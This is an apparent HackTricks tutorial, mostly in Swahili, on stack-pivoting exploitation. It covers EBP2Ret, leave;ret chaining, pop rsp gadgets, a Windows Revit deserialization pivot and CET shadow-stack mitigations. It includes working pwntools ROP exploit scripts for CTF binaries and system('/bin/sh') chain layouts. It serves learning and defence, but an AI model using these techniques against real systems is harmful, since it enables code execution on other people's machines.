Stack Pivoting

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Habari za Msingi

Mbinu hii inatumia uwezo wa kudhibiti Base Pointer (EBP/RBP) ili kuunganisha utekelezaji wa kazi nyingi kwa kutumia kwa uangalifu frame pointer na mfululizo wa maagizo leave; ret.

Kumbuka, kwenye x86/x86-64 leave ni sawa na:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

Na kwa kuwa EBP/RBP iliyohifadhiwa iko kwenye stack kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.

Vidokezo

  • Kwa 64-bit, badilisha EBP→RBP na ESP→RSP. Semantiki ni sawa.
  • Baadhi ya compilers huondoa frame pointer (angalia “EBP might not be used”). Katika hali hiyo, leave huenda haionekani na teknik hii haitafanya kazi.

EBP2Ret

Teknik hii ni muhimu hasa unapoweza kubadilisha EBP/RBP iliyohifadhiwa lakini ukose njia ya moja kwa moja kubadilisha EIP/RIP. Inatumia tabia ya epilogue ya function.

Ikiwa, wakati wa utekelezaji wa fvuln, unaweza kuingiza fake EBP kwenye stack inayoonyesha eneo kwenye memory ambapo anwani ya shellcode/ROP chain yako iko (pia ongeza 8 bytes kwenye amd64 / 4 bytes kwenye x86 kwa ajili ya pop), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Wakati function inarudi, leave itaweka RSP kwenye eneo lililotengenezwa na pop rbp inayofuata inapunguza RSP, kwa ufanisi kuifanya ionekane kuelekea anwani iliyowekwa na attacker hapo. Kisha ret itatumia anwani hiyo.

Kumbuka kuwa unahitaji kujua 2 anwani: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo ret itachukua.

Exploit Construction

Kwanza unahitaji kujua anwani ambapo unaweza kuandika data/anwani yoyote. RSP itakuwa ikielekea hapa na kuchukua ret ya kwanza.

Kisha, unahitaji kuchagua anwani itakayotumika na ret ambayo itahamasisha transfer execution. Unaweza kutumia:

  • Anwani halali ya ONE_GADGET.
  • Anwani ya system() ikifuatiwa na return na vigezo vinavyofaa (kwenye x86: ret target = &system, kisha 4 junk bytes, kisha &"/bin/sh").
  • Anwani ya gadget ya jmp esp; (ret2esp) ikifuatiwa na inline shellcode.
  • Mnyororo wa ROP uliowekwa katika memory inayoweza kuandikwa.

Kumbuka kwamba kabla ya yoyote ya anwani hizi katika eneo linalodhibitiwa, lazima kuwe na nafasi kwa ajili ya pop ebp/rbp kutoka leave (8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuweka EBP bandia ya pili na kudumisha udhibiti baada ya simu ya kwanza kurudi.

Off-By-One Exploit

Kuna utofauti unaotumika wakati unaweza kubadilisha tu biti yenye uzito mdogo ya saved EBP/RBP. Katika kesi kama hiyo, eneo la memory linalohifadhi anwani ya kuruka kwa ret lazima lishirikiane kwa bytes za mwanzo (tatu/tano) na EBP/RBP ya awali ili overwrite ya 1-byte iweze kuirekebisha. Kawaida biti ya chini (offset 0x00) inaongezeka ili kuruka kadri inavyowezekana ndani ya ukurasa ulio karibu/eneo lililo sawa.

Pia ni kawaida kutumia RET sled kwenye stack na kuweka ROP chain halisi mwishoni ili iwezekane zaidi kuwa RSP mpya itaonyesha ndani ya sled na ROP chain ya mwisho itatekelezwa.

EBP Chaining

Kwa kuweka anwani iliyodhibitiwa kwenye slot ya saved EBP ya stack na gadget ya leave; ret katika EIP/RIP, inawezekana kusogeza ESP/RSP kwenda kwenye anwani inayodhibitiwa na attacker.

Sasa RSP imedhibitiwa na agizo linalofuata ni ret. Weka kwenye memory inayodhibitiwa kitu kama:

  • &(next fake EBP) -> Inasomwa na pop ebp/rbp kutoka leave.
  • &system() -> Inaitwa na ret.
  • &(leave;ret) -> Baada system inapomalizika, inasogeza RSP kwenye next fake EBP na inaendelea.
  • &("/bin/sh") -> Hoja kwa system.

Kwa njia hii inawezekana kuunganisha fake EBP kadhaa ili kudhibiti mtiririko wa programu.

Hii ni kama ret2lib, lakini ngumu zaidi na inafaa tu katika edge-cases.

Zaidi ya hayo, hapa kuna mfano wa challenge unaotumia teknik hii pamoja na stack leak ili kupiga run function ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

vidokezo vya alignment vya amd64: System V ABI inahitaji stack alignment ya 16-byte katika call sites. Ikiwa chain yako inaita functions kama system, ongeza alignment gadget (mfano, ret, au sub rsp, 8 ; ret) kabla ya call ili kudumisha alignment na kuepuka crashes za movaps.

EBP huenda isitumike

Kama explained in this post, ikiwa binary imecompiled na maboresho fulani au kwa kuondolewa kwa frame-pointer, EBP/RBP never controls ESP/RSP. Kwa hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue hazirejeshi kutoka kwa frame pointer.

  • Bila optimization / frame pointer inatumiwa:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Imeboreshwa / kielekezi cha fremu kimeachwa:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Kwenye amd64 mara nyingi utaona pop rbp ; ret badala ya leave ; ret, lakini ikiwa frame pointer imetupwa kabisa basi hakuna rbp-based epilogue ya kupitia.

Njia nyingine za kudhibiti RSP

pop rsp gadget

In this page you can find an example using this technique. Kwa changamoto hiyo ilihitajika kuita function yenye arguments 2 maalum, na kulikuwa na pop rsp gadget na kuna leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Angalia mbinu ya ret2esp hapa:

Ret2esp / Ret2reg

Kupata pivot gadgets kwa haraka

Tumia gadget finder unayopendelea kutafuta classic pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Mifano:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

Mbinu thabiti ya pivot inayotumiwa katika CTFs/exploits nyingi:

  1. Tumia overflow ndogo ya awali ili kuita read/recv kwenye eneo kubwa linaloweza kuandikwa (mfano, .bss, heap, au mapped RW memory) na weka mnyororo kamili wa ROP hapo.
  2. Rudi ndani ya pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) ili kusogeza RSP kwenda eneo hilo.
  3. Endelea na mnyororo uliopangwa (mfano, leak libc, call mprotect, kisha read shellcode, kisha ruka kwa hiyo).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Parser za upande wa mteja mara kwa mara hufanya destructor loops ambazo zinafanya wito wa njia isiyo ya moja kwa moja kwa function pointer inayotokana na field za object zinazosimamiwa na mshambuliaji. Ikiwa kila iteresheni inatoa wito mmoja tu wa indirect (mashine ya “one-gadget”), unaweza kubadilisha hii kuwa stack pivot thabiti na ROP entry.

Imegunduliwa katika Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Vitu vilivyotengenezwa vya aina AString huweka pointer kwa baiti za mshambuliaji kwenye offset 0.
  • Destructor loop kwa ufanisi hutekeleza gadget moja kwa kila object:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Mbili pivots za vitendo:

  • Windows 10 (32-bit heap addrs): gadget isiyopangwa sawa (“monster gadget”) inayojumuisha 8B E0mov esp, eax, hatimaye ret, ili kufanya pivot kutoka call primitive kwenda heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): tumia vitu viwili kuendesha constrained weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret (hamisha rax ya asili ndani ya rbp)
    • Gadget 2: leave ; ... ; ret (inageuka kuwa mov rsp, rbp ; pop rbp ; ret), ikipivoting ndani ya buffer ya object ya kwanza, ambapo conventional ROP chain inafuata.

Tips for Windows x64 after the pivot:

  • Heshimu 0x20-byte shadow space na hakikisha 16-byte alignment kabla ya call sites. Mara nyingi ni rahisi kuweka literals juu ya return address na kutumia gadget kama lea rcx, [rsp+0x20] ; call rax ukifuata na pop rax ; ret ili kupitisha stack addresses bila kuharibu control flow.
  • Non-ASLR helper modules (ikiwa zipo) hutoa stable gadget pools na imports kama LoadLibraryW/GetProcAddress ili kutatua kwa dynamic targets kama ucrtbase!system.
  • Kuunda missing gadgets kwa kutumia writable thunk: ikiwa mfululizo wenye uwezo unamalizika kwa call kupitia writable function pointer (mfano, DLL import thunk au function pointer katika .data), andika pointer hiyo na hatua isiyo hatari ya hatua moja kama pop rax ; ret. Mfululizo kisha utatenda kana kwamba ulikuwa ulibaki na ret (mfano, mov rdx, rsi ; mov rcx, rdi ; ret), ambayo ni muhimu kubeba Windows x64 arg registers bila kuharibu vingine.

Kwa ujenzi wa full chain na mifano ya gadget, angalia rejea hapa chini.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Modern x86 CPUs na OSes zinatumia kwa wingi CET Shadow Stack (SHSTK). Ukiwa SHSTK imelawanywa, ret inalinganisha return address kwenye normal stack na hardware-protected shadow stack; tofauti yoyote inaleta Control-Protection fault na kuua process. Kwa hivyo, techniques kama EBP2Ret/leave;ret-based pivots zitakatika mara tu ret ya kwanza itakapotekelezwa kutoka kwa pivoted stack.

  • For background and deeper details see:

CET & Shadow Stack

  • Ukaguzi wa haraka kwenye Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notes for labs/CTF:

  • Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter nousershstk, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets.

  • JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks ret-based pivots.

  • Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at ret; developers opt-in via CETCOMPAT and related policies (see reference).

ARM64

Katika ARM64, prologue and epilogues za functions hazihifadhi wala kurejesha rejista ya SP kwenye stack. Zaidi ya hayo, maagizo ya RET hayarejeshi kwa anwani inayotajwa na SP, bali kwa anwani ndani ya x30.

Hivyo, kwa kawaida, kutumia tu epilogue hutaweza kudhibiti rejista SP kwa kubadilisha data ndani ya stack. Na hata ukifanikiwa kudhibiti SP bado utahitaji njia ya kudhibiti rejista x30.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa kudhibiti SP (kwa kudhibiti rejista nyingine ambayo thamani yake inapitishwa kwa SP au kwa sababu fulani SP inachukua anwani yake kutoka kwenye stack na tunayo overflow) kisha kutumia epilogue kuipakia rejista ya x30 kutoka kwa SP iliyodhibitiwa na RET kwa anwani hiyo.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks